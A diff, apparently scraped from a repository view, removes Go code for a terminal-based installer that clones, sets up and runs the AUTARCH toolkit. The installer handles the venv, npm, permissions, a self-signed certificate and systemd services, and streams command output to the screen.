||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Forward key to focused input
|
|
||||||
if a.focusIdx >= 0 && a.focusIdx < len(a.inputs) {
|
|
||||||
var cmd tea.Cmd
|
|
||||||
a.inputs[a.focusIdx], cmd = a.inputs[a.focusIdx].Update(msg)
|
|
||||||
return a, cmd
|
|
||||||
}
|
|
||||||
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) updateInputs(msg tea.Msg) (tea.Model, tea.Cmd) {
|
|
||||||
if a.focusIdx >= 0 && a.focusIdx < len(a.inputs) {
|
|
||||||
var cmd tea.Cmd
|
|
||||||
a.inputs[a.focusIdx], cmd = a.inputs[a.focusIdx].Update(msg)
|
|
||||||
return a, cmd
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── File Helpers (used by multiple views) ────────────────────────────
|
|
||||||
|
|
||||||
func fileExists(path string) bool {
|
|
||||||
_, err := os.Stat(path)
|
|
||||||
return err == nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func readFileBytes(path string) ([]byte, error) {
|
|
||||||
return os.ReadFile(path)
|
|
||||||
}
|
|
||||||
|
|
||||||
func writeFile(path string, data []byte, perm os.FileMode) error {
|
|
||||||
return os.WriteFile(path, data, perm)
|
|
||||||
}
|
|
||||||
|
|
||||||
func renameFile(src, dst string) error {
|
|
||||||
return os.Rename(src, dst)
|
|
||||||
}
|
|
||||||
@ -1,161 +0,0 @@
|
|||||||
package tui
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bufio"
|
|
||||||
"fmt"
|
|
||||||
"os/exec"
|
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ── Streaming Messages ──────────────────────────────────────────────
|
|
||||||
|
|
||||||
// ProgressMsg updates the progress bar in the output view.
|
|
||||||
type ProgressMsg struct {
|
|
||||||
Step int
|
|
||||||
Total int
|
|
||||||
Label string
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Step Definition ─────────────────────────────────────────────────
|
|
||||||
|
|
||||||
// CmdStep defines a single command to run in a streaming sequence.
|
|
||||||
type CmdStep struct {
|
|
||||||
Label string // Human-readable label (shown in output)
|
|
||||||
Args []string // Command + arguments
|
|
||||||
Dir string // Working directory (empty = inherit)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Streaming Execution Engine ──────────────────────────────────────
|
|
||||||
|
|
||||||
// streamSteps runs a sequence of CmdSteps, sending OutputLineMsg per line
|
|
||||||
// and ProgressMsg per step, then DoneMsg when finished.
|
|
||||||
// It writes to a buffered channel that the TUI reads via waitForOutput().
|
|
||||||
func streamSteps(ch chan<- tea.Msg, steps []CmdStep) {
|
|
||||||
defer close(ch)
|
|
||||||
|
|
||||||
total := len(steps)
|
|
||||||
var errors []string
|
|
||||||
|
|
||||||
for i, step := range steps {
|
|
||||||
// Send progress update
|
|
||||||
ch <- ProgressMsg{
|
|
||||||
Step: i + 1,
|
|
||||||
Total: total,
|
|
||||||
Label: step.Label,
|
|
||||||
}
|
|
||||||
|
|
||||||
// Show command being executed
|
|
||||||
cmdStr := strings.Join(step.Args, " ")
|
|
||||||
ch <- OutputLineMsg(styleKey.Render(fmt.Sprintf("═══ [%d/%d] %s ═══", i+1, total, step.Label)))
|
|
||||||
ch <- OutputLineMsg(styleDim.Render(" $ " + cmdStr))
|
|
||||||
|
|
||||||
// Build command
|
|
||||||
cmd := exec.Command(step.Args[0], step.Args[1:]...)
|
|
||||||
if step.Dir != "" {
|
|
||||||
cmd.Dir = step.Dir
|
|
||||||
}
|
|
||||||
|
|
||||||
// Get pipes for real-time output
|
|
||||||
stdout, err := cmd.StdoutPipe()
|
|
||||||
if err != nil {
|
|
||||||
ch <- OutputLineMsg(styleError.Render(" Failed to create stdout pipe: " + err.Error()))
|
|
||||||
errors = append(errors, step.Label+": "+err.Error())
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
cmd.Stderr = cmd.Stdout // merge stderr into stdout
|
|
||||||
|
|
||||||
// Start command
|
|
||||||
startTime := time.Now()
|
|
||||||
if err := cmd.Start(); err != nil {
|
|
||||||
ch <- OutputLineMsg(styleError.Render(" Failed to start: " + err.Error()))
|
|
||||||
errors = append(errors, step.Label+": "+err.Error())
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
// Read output line by line
|
|
||||||
scanner := bufio.NewScanner(stdout)
|
|
||||||
scanner.Buffer(make([]byte, 64*1024), 256*1024) // handle long lines
|
|
||||||
lineCount := 0
|
|
||||||
for scanner.Scan() {
|
|
||||||
line := scanner.Text()
|
|
||||||
lineCount++
|
|
||||||
|
|
||||||
// Parse apt/pip progress indicators for speed display
|
|
||||||
if parsed := parseProgressLine(line); parsed != "" {
|
|
||||||
ch <- OutputLineMsg(" " + parsed)
|
|
||||||
} else {
|
|
||||||
// Throttle verbose output: show every line for first 30,
|
|
||||||
// then every 5th line, but always show errors
|
|
||||||
if lineCount <= 30 || lineCount%5 == 0 || isErrorLine(line) {
|
|
||||||
ch <- OutputLineMsg(" " + line)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Wait for command to finish
|
|
||||||
err = cmd.Wait()
|
|
||||||
elapsed := time.Since(startTime)
|
|
||||||
|
|
||||||
if err != nil {
|
|
||||||
ch <- OutputLineMsg(styleError.Render(fmt.Sprintf(" ✘ Failed (%s): %s", elapsed.Round(time.Millisecond), err.Error())))
|
|
||||||
errors = append(errors, step.Label+": "+err.Error())
|
|
||||||
} else {
|
|
||||||
ch <- OutputLineMsg(styleSuccess.Render(fmt.Sprintf(" ✔ Done (%s)", elapsed.Round(time.Millisecond))))
|
|
||||||
}
|
|
||||||
ch <- OutputLineMsg("")
|
|
||||||
}
|
|
||||||
|
|
||||||
// Final summary
|
|
||||||
if len(errors) > 0 {
|
|
||||||
ch <- OutputLineMsg(styleWarning.Render(fmt.Sprintf("═══ Completed with %d error(s) ═══", len(errors))))
|
|
||||||
for _, e := range errors {
|
|
||||||
ch <- OutputLineMsg(styleError.Render(" ✘ " + e))
|
|
||||||
}
|
|
||||||
ch <- DoneMsg{Err: fmt.Errorf("%d step(s) failed", len(errors))}
|
|
||||||
} else {
|
|
||||||
ch <- OutputLineMsg(styleSuccess.Render("═══ All steps completed successfully ═══"))
|
|
||||||
ch <- DoneMsg{}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Progress Parsing ────────────────────────────────────────────────
|
|
||||||
|
|
||||||
// parseProgressLine extracts progress info from apt/pip/npm output.
|
|
||||||
func parseProgressLine(line string) string {
|
|
||||||
// apt progress: "Progress: [ 45%]" or percentage patterns
|
|
||||||
if strings.Contains(line, "Progress:") || strings.Contains(line, "progress:") {
|
|
||||||
return styleWarning.Render(strings.TrimSpace(line))
|
|
||||||
}
|
|
||||||
|
|
||||||
// pip: "Downloading foo-1.2.3.whl (2.3 MB)" or "Installing collected packages:"
|
|
||||||
if strings.HasPrefix(line, "Downloading ") || strings.HasPrefix(line, "Collecting ") {
|
|
||||||
return styleCyan.Render(strings.TrimSpace(line))
|
|
||||||
}
|
|
||||||
if strings.HasPrefix(line, "Installing collected packages:") {
|
|
||||||
return styleWarning.Render(strings.TrimSpace(line))
|
|
||||||
}
|
|
||||||
|
|
||||||
// npm: "added X packages"
|
|
||||||
if strings.Contains(line, "added") && strings.Contains(line, "packages") {
|
|
||||||
return styleSuccess.Render(strings.TrimSpace(line))
|
|
||||||
}
|
|
||||||
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
// isErrorLine checks if an output line looks like an error.
|
|
||||||
func isErrorLine(line string) bool {
|
|
||||||
lower := strings.ToLower(line)
|
|
||||||
return strings.Contains(lower, "error") ||
|
|
||||||
strings.Contains(lower, "failed") ||
|
|
||||||
strings.Contains(lower, "fatal") ||
|
|
||||||
strings.Contains(lower, "warning") ||
|
|
||||||
strings.Contains(lower, "unable to")
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Style for progress lines ────────────────────────────────────────
|
|
||||||
|
|
||||||
var styleCyan = styleKey // reuse existing cyan style
|
|
||||||
@ -1,493 +0,0 @@
|
|||||||
package tui
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
|
||||||
|
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
|
||||||
"github.com/charmbracelet/lipgloss"
|
|
||||||
)
|
|
||||||
|
|
||||||
const (
|
|
||||||
autarchGitRepo = "https://github.com/DigijEth/autarch.git"
|
|
||||||
autarchBranch = "main"
|
|
||||||
defaultInstDir = "/opt/autarch"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ── Rendering ───────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) renderDeployMenu() string {
|
|
||||||
var b strings.Builder
|
|
||||||
|
|
||||||
b.WriteString(styleTitle.Render("DEPLOY AUTARCH"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
installDir := defaultInstDir
|
|
||||||
if a.autarchDir != "" && a.autarchDir != defaultInstDir {
|
|
||||||
installDir = a.autarchDir
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check current state
|
|
||||||
confExists := fileExists(filepath.Join(installDir, "autarch_settings.conf"))
|
|
||||||
gitExists := fileExists(filepath.Join(installDir, ".git"))
|
|
||||||
venvExists := fileExists(filepath.Join(installDir, "venv", "bin", "python3"))
|
|
||||||
|
|
||||||
b.WriteString(styleKey.Render(" Install directory: ") +
|
|
||||||
lipgloss.NewStyle().Foreground(colorWhite).Bold(true).Render(installDir))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleKey.Render(" Git repository: ") +
|
|
||||||
styleDim.Render(autarchGitRepo))
|
|
||||||
b.WriteString("\n\n")
|
|
||||||
|
|
||||||
// Status checks
|
|
||||||
if gitExists {
|
|
||||||
// Get current commit
|
|
||||||
out, _ := exec.Command("git", "-C", installDir, "log", "--oneline", "-1").Output()
|
|
||||||
commit := strings.TrimSpace(string(out))
|
|
||||||
b.WriteString(" " + styleStatusOK.Render("✔ Git repo present") + " " + styleDim.Render(commit))
|
|
||||||
} else {
|
|
||||||
b.WriteString(" " + styleStatusBad.Render("✘ Not cloned"))
|
|
||||||
}
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
if confExists {
|
|
||||||
b.WriteString(" " + styleStatusOK.Render("✔ Config file present"))
|
|
||||||
} else {
|
|
||||||
b.WriteString(" " + styleStatusBad.Render("✘ No config file"))
|
|
||||||
}
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
if venvExists {
|
|
||||||
// Count pip packages
|
|
||||||
out, _ := exec.Command(filepath.Join(installDir, "venv", "bin", "pip3"), "list", "--format=columns").Output()
|
|
||||||
count := strings.Count(string(out), "\n") - 2
|
|
||||||
if count < 0 {
|
|
||||||
count = 0
|
|
||||||
}
|
|
||||||
b.WriteString(" " + styleStatusOK.Render(fmt.Sprintf("✔ Python venv (%d packages)", count)))
|
|
||||||
} else {
|
|
||||||
b.WriteString(" " + styleStatusBad.Render("✘ No Python venv"))
|
|
||||||
}
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
// Check node_modules
|
|
||||||
nodeExists := fileExists(filepath.Join(installDir, "node_modules"))
|
|
||||||
if nodeExists {
|
|
||||||
b.WriteString(" " + styleStatusOK.Render("✔ Node modules installed"))
|
|
||||||
} else {
|
|
||||||
b.WriteString(" " + styleStatusBad.Render("✘ No node_modules"))
|
|
||||||
}
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
// Check services
|
|
||||||
_, webUp := getProcessStatus("autarch-web", "autarch_web.py")
|
|
||||||
_, dnsUp := getProcessStatus("autarch-dns", "autarch-dns")
|
|
||||||
if webUp {
|
|
||||||
b.WriteString(" " + styleStatusOK.Render("✔ Web service running"))
|
|
||||||
} else {
|
|
||||||
b.WriteString(" " + styleStatusBad.Render("○ Web service stopped"))
|
|
||||||
}
|
|
||||||
b.WriteString("\n")
|
|
||||||
if dnsUp {
|
|
||||||
b.WriteString(" " + styleStatusOK.Render("✔ DNS service running"))
|
|
||||||
} else {
|
|
||||||
b.WriteString(" " + styleStatusBad.Render("○ DNS service stopped"))
|
|
||||||
}
|
|
||||||
b.WriteString("\n\n")
|
|
||||||
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
if !gitExists {
|
|
||||||
b.WriteString(styleKey.Render(" [c]") + " Clone AUTARCH from GitHub " + styleDim.Render("(full install)") + "\n")
|
|
||||||
} else {
|
|
||||||
b.WriteString(styleKey.Render(" [u]") + " Update (git pull + reinstall deps)\n")
|
|
||||||
}
|
|
||||||
b.WriteString(styleKey.Render(" [f]") + " Full setup " + styleDim.Render("(clone/pull + venv + pip + npm + build + systemd + permissions)") + "\n")
|
|
||||||
b.WriteString(styleKey.Render(" [v]") + " Setup venv + pip install only\n")
|
|
||||||
b.WriteString(styleKey.Render(" [n]") + " Setup npm + build hardware JS only\n")
|
|
||||||
b.WriteString(styleKey.Render(" [p]") + " Fix permissions " + styleDim.Render("(chown/chmod)") + "\n")
|
|
||||||
b.WriteString(styleKey.Render(" [s]") + " Install systemd service units\n")
|
|
||||||
b.WriteString(styleKey.Render(" [d]") + " Build DNS server from source\n")
|
|
||||||
b.WriteString(styleKey.Render(" [g]") + " Generate self-signed TLS cert\n")
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleDim.Render(" esc back"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Key Handling ────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) handleDeployMenu(key string) (tea.Model, tea.Cmd) {
|
|
||||||
switch key {
|
|
||||||
case "c":
|
|
||||||
return a.deployClone()
|
|
||||||
case "u":
|
|
||||||
return a.deployUpdate()
|
|
||||||
case "f":
|
|
||||||
return a.deployFull()
|
|
||||||
case "v":
|
|
||||||
return a.deployVenv()
|
|
||||||
case "n":
|
|
||||||
return a.deployNpm()
|
|
||||||
case "p":
|
|
||||||
return a.deployPermissions()
|
|
||||||
case "s":
|
|
||||||
return a.deploySystemd()
|
|
||||||
case "d":
|
|
||||||
return a.deployDNSBuild()
|
|
||||||
case "g":
|
|
||||||
return a.deployTLSCert()
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Deploy Commands ─────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) deployClone() (App, tea.Cmd) {
|
|
||||||
dir := defaultInstDir
|
|
||||||
|
|
||||||
// Quick check — if already cloned, show result without streaming
|
|
||||||
if fileExists(filepath.Join(dir, ".git")) {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "Already Cloned",
|
|
||||||
Lines: []string{"AUTARCH is already cloned at " + dir, "", "Use [u] to update or [f] for full setup."},
|
|
||||||
IsError: false,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
a.pushView(ViewDepsInstall)
|
|
||||||
a.outputLines = nil
|
|
||||||
a.outputDone = false
|
|
||||||
a.progressStep = 0
|
|
||||||
a.progressTotal = 0
|
|
||||||
|
|
||||||
ch := make(chan tea.Msg, 256)
|
|
||||||
a.outputCh = ch
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
os.MkdirAll(filepath.Dir(dir), 0755)
|
|
||||||
steps := []CmdStep{
|
|
||||||
{Label: "Clone AUTARCH from GitHub", Args: []string{"git", "clone", "--branch", autarchBranch, "--progress", autarchGitRepo, dir}},
|
|
||||||
}
|
|
||||||
streamSteps(ch, steps)
|
|
||||||
}()
|
|
||||||
|
|
||||||
return a, a.waitForOutput()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) deployUpdate() (App, tea.Cmd) {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
dir := defaultInstDir
|
|
||||||
if a.autarchDir != "" {
|
|
||||||
dir = a.autarchDir
|
|
||||||
}
|
|
||||||
var lines []string
|
|
||||||
|
|
||||||
// Git pull
|
|
||||||
lines = append(lines, styleKey.Render("$ git -C "+dir+" pull"))
|
|
||||||
cmd := exec.Command("git", "-C", dir, "pull", "--ff-only")
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
for _, l := range strings.Split(strings.TrimSpace(string(out)), "\n") {
|
|
||||||
lines = append(lines, " "+l)
|
|
||||||
}
|
|
||||||
if err != nil {
|
|
||||||
lines = append(lines, styleError.Render(" ✘ Pull failed: "+err.Error()))
|
|
||||||
return ResultMsg{Title: "Update Failed", Lines: lines, IsError: true}
|
|
||||||
}
|
|
||||||
lines = append(lines, styleSuccess.Render(" ✔ Updated"))
|
|
||||||
|
|
||||||
return ResultMsg{Title: "AUTARCH Updated", Lines: lines}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) deployFull() (App, tea.Cmd) {
|
|
||||||
a.pushView(ViewDepsInstall)
|
|
||||||
a.outputLines = nil
|
|
||||||
a.outputDone = false
|
|
||||||
a.progressStep = 0
|
|
||||||
a.progressTotal = 0
|
|
||||||
|
|
||||||
ch := make(chan tea.Msg, 256)
|
|
||||||
a.outputCh = ch
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
dir := defaultInstDir
|
|
||||||
|
|
||||||
var steps []CmdStep
|
|
||||||
|
|
||||||
// Step 1: Clone or pull
|
|
||||||
if !fileExists(filepath.Join(dir, ".git")) {
|
|
||||||
os.MkdirAll(filepath.Dir(dir), 0755)
|
|
||||||
steps = append(steps, CmdStep{
|
|
||||||
Label: "Clone AUTARCH from GitHub",
|
|
||||||
Args: []string{"git", "clone", "--branch", autarchBranch, "--progress", autarchGitRepo, dir},
|
|
||||||
})
|
|
||||||
} else {
|
|
||||||
steps = append(steps, CmdStep{
|
|
||||||
Label: "Update from GitHub",
|
|
||||||
Args: []string{"git", "-C", dir, "pull", "--ff-only"},
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// Step 2: System deps
|
|
||||||
steps = append(steps, CmdStep{
|
|
||||||
Label: "Update package lists",
|
|
||||||
Args: []string{"apt-get", "update", "-qq"},
|
|
||||||
})
|
|
||||||
aptPkgs := []string{
|
|
||||||
"python3", "python3-pip", "python3-venv", "python3-dev",
|
|
||||||
"build-essential", "cmake", "pkg-config",
|
|
||||||
"git", "curl", "wget", "openssl",
|
|
||||||
"libffi-dev", "libssl-dev", "libpcap-dev", "libxml2-dev", "libxslt1-dev",
|
|
||||||
"nmap", "tshark", "whois", "dnsutils",
|
|
||||||
"adb", "fastboot",
|
|
||||||
"wireguard-tools", "miniupnpc", "net-tools",
|
|
||||||
"nodejs", "npm", "ffmpeg",
|
|
||||||
}
|
|
||||||
steps = append(steps, CmdStep{
|
|
||||||
Label: "Install system dependencies",
|
|
||||||
Args: append([]string{"apt-get", "install", "-y"}, aptPkgs...),
|
|
||||||
})
|
|
||||||
|
|
||||||
// Step 3: System user
|
|
||||||
steps = append(steps, CmdStep{
|
|
||||||
Label: "Create autarch system user",
|
|
||||||
Args: []string{"useradd", "--system", "--no-create-home", "--shell", "/usr/sbin/nologin", "autarch"},
|
|
||||||
})
|
|
||||||
|
|
||||||
// Step 4-5: Python venv + pip
|
|
||||||
venv := filepath.Join(dir, "venv")
|
|
||||||
pip := filepath.Join(venv, "bin", "pip3")
|
|
||||||
steps = append(steps,
|
|
||||||
CmdStep{Label: "Create Python virtual environment", Args: []string{"python3", "-m", "venv", venv}},
|
|
||||||
CmdStep{Label: "Upgrade pip, setuptools, wheel", Args: []string{pip, "install", "--upgrade", "pip", "setuptools", "wheel"}},
|
|
||||||
CmdStep{Label: "Install Python packages", Args: []string{pip, "install", "-r", filepath.Join(dir, "requirements.txt")}},
|
|
||||||
)
|
|
||||||
|
|
||||||
// Step 6: npm
|
|
||||||
steps = append(steps,
|
|
||||||
CmdStep{Label: "Install npm packages", Args: []string{"npm", "install"}, Dir: dir},
|
|
||||||
)
|
|
||||||
if fileExists(filepath.Join(dir, "scripts", "build-hw-libs.sh")) {
|
|
||||||
steps = append(steps, CmdStep{
|
|
||||||
Label: "Build hardware JS bundles",
|
|
||||||
Args: []string{"bash", "scripts/build-hw-libs.sh"},
|
|
||||||
Dir: dir,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// Step 7: Permissions
|
|
||||||
steps = append(steps,
|
|
||||||
CmdStep{Label: "Set ownership", Args: []string{"chown", "-R", "root:root", dir}},
|
|
||||||
CmdStep{Label: "Set permissions", Args: []string{"chmod", "-R", "755", dir}},
|
|
||||||
)
|
|
||||||
|
|
||||||
// Step 8: Data directories (quick inline, not a CmdStep)
|
|
||||||
dataDirs := []string{"data", "data/certs", "data/dns", "results", "dossiers", "models"}
|
|
||||||
for _, d := range dataDirs {
|
|
||||||
os.MkdirAll(filepath.Join(dir, d), 0755)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Step 9: Sensitive file permissions
|
|
||||||
steps = append(steps,
|
|
||||||
CmdStep{Label: "Secure config file", Args: []string{"chmod", "600", filepath.Join(dir, "autarch_settings.conf")}},
|
|
||||||
)
|
|
||||||
|
|
||||||
// Step 10: TLS cert
|
|
||||||
certDir := filepath.Join(dir, "data", "certs")
|
|
||||||
certPath := filepath.Join(certDir, "autarch.crt")
|
|
||||||
keyPath := filepath.Join(certDir, "autarch.key")
|
|
||||||
if !fileExists(certPath) || !fileExists(keyPath) {
|
|
||||||
steps = append(steps, CmdStep{
|
|
||||||
Label: "Generate self-signed TLS certificate",
|
|
||||||
Args: []string{"openssl", "req", "-x509", "-newkey", "rsa:2048",
|
|
||||||
"-keyout", keyPath, "-out", certPath,
|
|
||||||
"-days", "3650", "-nodes",
|
|
||||||
"-subj", "/CN=AUTARCH/O=darkHal"},
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// Step 11: Systemd units — write files inline then reload
|
|
||||||
writeSystemdUnits(dir)
|
|
||||||
steps = append(steps, CmdStep{
|
|
||||||
Label: "Reload systemd daemon",
|
|
||||||
Args: []string{"systemctl", "daemon-reload"},
|
|
||||||
})
|
|
||||||
|
|
||||||
streamSteps(ch, steps)
|
|
||||||
}()
|
|
||||||
|
|
||||||
return a, a.waitForOutput()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) deployVenv() (App, tea.Cmd) {
|
|
||||||
a.pushView(ViewDepsInstall)
|
|
||||||
a.outputLines = nil
|
|
||||||
a.outputDone = false
|
|
||||||
a.progressStep = 0
|
|
||||||
a.progressTotal = 0
|
|
||||||
|
|
||||||
ch := make(chan tea.Msg, 256)
|
|
||||||
a.outputCh = ch
|
|
||||||
|
|
||||||
dir := resolveDir(a.autarchDir)
|
|
||||||
go func() {
|
|
||||||
streamSteps(ch, buildVenvSteps(dir))
|
|
||||||
}()
|
|
||||||
|
|
||||||
return a, a.waitForOutput()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) deployNpm() (App, tea.Cmd) {
|
|
||||||
a.pushView(ViewDepsInstall)
|
|
||||||
a.outputLines = nil
|
|
||||||
a.outputDone = false
|
|
||||||
a.progressStep = 0
|
|
||||||
a.progressTotal = 0
|
|
||||||
|
|
||||||
ch := make(chan tea.Msg, 256)
|
|
||||||
a.outputCh = ch
|
|
||||||
|
|
||||||
dir := resolveDir(a.autarchDir)
|
|
||||||
go func() {
|
|
||||||
streamSteps(ch, buildNpmSteps(dir))
|
|
||||||
}()
|
|
||||||
|
|
||||||
return a, a.waitForOutput()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) deployPermissions() (App, tea.Cmd) {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
dir := resolveDir(a.autarchDir)
|
|
||||||
var lines []string
|
|
||||||
|
|
||||||
exec.Command("chown", "-R", "root:root", dir).Run()
|
|
||||||
lines = append(lines, styleSuccess.Render("✔ chown -R root:root "+dir))
|
|
||||||
|
|
||||||
exec.Command("chmod", "-R", "755", dir).Run()
|
|
||||||
lines = append(lines, styleSuccess.Render("✔ chmod -R 755 "+dir))
|
|
||||||
|
|
||||||
// Sensitive files
|
|
||||||
confPath := filepath.Join(dir, "autarch_settings.conf")
|
|
||||||
if fileExists(confPath) {
|
|
||||||
exec.Command("chmod", "600", confPath).Run()
|
|
||||||
lines = append(lines, styleSuccess.Render("✔ chmod 600 autarch_settings.conf"))
|
|
||||||
}
|
|
||||||
|
|
||||||
credPath := filepath.Join(dir, "data", "web_credentials.json")
|
|
||||||
if fileExists(credPath) {
|
|
||||||
exec.Command("chmod", "600", credPath).Run()
|
|
||||||
lines = append(lines, styleSuccess.Render("✔ chmod 600 web_credentials.json"))
|
|
||||||
}
|
|
||||||
|
|
||||||
// Ensure data dirs exist
|
|
||||||
for _, d := range []string{"data", "data/certs", "data/dns", "results", "dossiers", "models"} {
|
|
||||||
os.MkdirAll(filepath.Join(dir, d), 0755)
|
|
||||||
}
|
|
||||||
lines = append(lines, styleSuccess.Render("✔ Data directories created"))
|
|
||||||
|
|
||||||
return ResultMsg{Title: "Permissions Fixed", Lines: lines}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) deploySystemd() (App, tea.Cmd) {
|
|
||||||
// Reuse the existing installServiceUnits
|
|
||||||
return a.installServiceUnits()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) deployDNSBuild() (App, tea.Cmd) {
|
|
||||||
return a.buildDNSServer()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) deployTLSCert() (App, tea.Cmd) {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
dir := resolveDir(a.autarchDir)
|
|
||||||
certDir := filepath.Join(dir, "data", "certs")
|
|
||||||
os.MkdirAll(certDir, 0755)
|
|
||||||
|
|
||||||
certPath := filepath.Join(certDir, "autarch.crt")
|
|
||||||
keyPath := filepath.Join(certDir, "autarch.key")
|
|
||||||
|
|
||||||
cmd := exec.Command("openssl", "req", "-x509", "-newkey", "rsa:2048",
|
|
||||||
"-keyout", keyPath, "-out", certPath,
|
|
||||||
"-days", "3650", "-nodes",
|
|
||||||
"-subj", "/CN=AUTARCH/O=darkHal Security Group")
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "Error",
|
|
||||||
Lines: []string{string(out), err.Error()},
|
|
||||||
IsError: true,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "TLS Certificate Generated",
|
|
||||||
Lines: []string{
|
|
||||||
styleSuccess.Render("✔ Certificate: ") + certPath,
|
|
||||||
styleSuccess.Render("✔ Private key: ") + keyPath,
|
|
||||||
"",
|
|
||||||
styleDim.Render("Valid for 10 years. Self-signed."),
|
|
||||||
styleDim.Render("For production, use Let's Encrypt via Setec Manager."),
|
|
||||||
},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Helpers ─────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func resolveDir(autarchDir string) string {
|
|
||||||
if autarchDir != "" {
|
|
||||||
return autarchDir
|
|
||||||
}
|
|
||||||
return defaultInstDir
|
|
||||||
}
|
|
||||||
|
|
||||||
func writeSystemdUnits(dir string) {
|
|
||||||
units := map[string]string{
|
|
||||||
"autarch-web.service": fmt.Sprintf(`[Unit]
|
|
||||||
Description=AUTARCH Web Dashboard
|
|
||||||
After=network.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
Type=simple
|
|
||||||
User=root
|
|
||||||
WorkingDirectory=%s
|
|
||||||
ExecStart=%s/venv/bin/python3 %s/autarch_web.py
|
|
||||||
Restart=on-failure
|
|
||||||
RestartSec=5
|
|
||||||
Environment=PYTHONUNBUFFERED=1
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
`, dir, dir, dir),
|
|
||||||
"autarch-dns.service": fmt.Sprintf(`[Unit]
|
|
||||||
Description=AUTARCH DNS Server
|
|
||||||
After=network.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
Type=simple
|
|
||||||
User=root
|
|
||||||
WorkingDirectory=%s
|
|
||||||
ExecStart=%s/services/dns-server/autarch-dns --config %s/data/dns/config.json
|
|
||||||
Restart=on-failure
|
|
||||||
RestartSec=5
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
`, dir, dir, dir),
|
|
||||||
}
|
|
||||||
for name, content := range units {
|
|
||||||
path := "/etc/systemd/system/" + name
|
|
||||||
os.WriteFile(path, []byte(content), 0644)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@ -1,416 +0,0 @@
|
|||||||
package tui
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"os/exec"
|
|
||||||
"strings"
|
|
||||||
|
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ── Dependency Categories ───────────────────────────────────────────
|
|
||||||
|
|
||||||
type depCheck struct {
|
|
||||||
Name string
|
|
||||||
Cmd string // command to check existence
|
|
||||||
Pkg string // apt package name
|
|
||||||
Kind string // "system", "python", "npm"
|
|
||||||
Desc string
|
|
||||||
}
|
|
||||||
|
|
||||||
